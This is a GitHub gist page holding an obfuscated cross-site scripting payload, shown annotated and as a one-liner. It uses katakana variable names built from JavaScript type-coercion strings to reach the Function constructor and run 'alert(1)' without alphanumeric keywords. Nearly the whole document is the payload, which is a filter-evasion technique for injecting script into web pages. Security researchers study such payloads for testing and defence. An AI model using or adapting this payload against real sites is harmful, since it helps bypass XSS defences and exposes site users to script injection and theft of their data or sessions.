Skip to content

Instantly share code, notes, and snippets.

@bl4de
Created July 29, 2017 08:50
Show Gist options
  • Save bl4de/df0ad476fd6066de02082c09f00315b2 to your computer and use it in GitHub Desktop.
Save bl4de/df0ad476fd6066de02082c09f00315b2 to your computer and use it in GitHub Desktop.
Katakana XSS payload (https://github.com/aemkei/katakana.js)
(
[
,
ウ, // "o"
,
,
,
ア // "c"
] =
[] + {}, // "[object Object]"
[
ネ, // "t"
ホ, // "r"
ヌ, // "u"
セ, // "e"
,
ミ, // "a"
ハ, // "l"
ヘ, // "s"
,
,
ナ // "n"
] =
[!!ウ] + // "true" +
!ウ + // "false" +
ウ.ウ // "undefined"
)[
ア+=ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ // "constructor"
][
ア // "constructor"
](
ミ+ハ+セ+ホ+ネ+ // "alert"
'(-~ウ)' // (1)
)()
([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ア+=ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ア](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment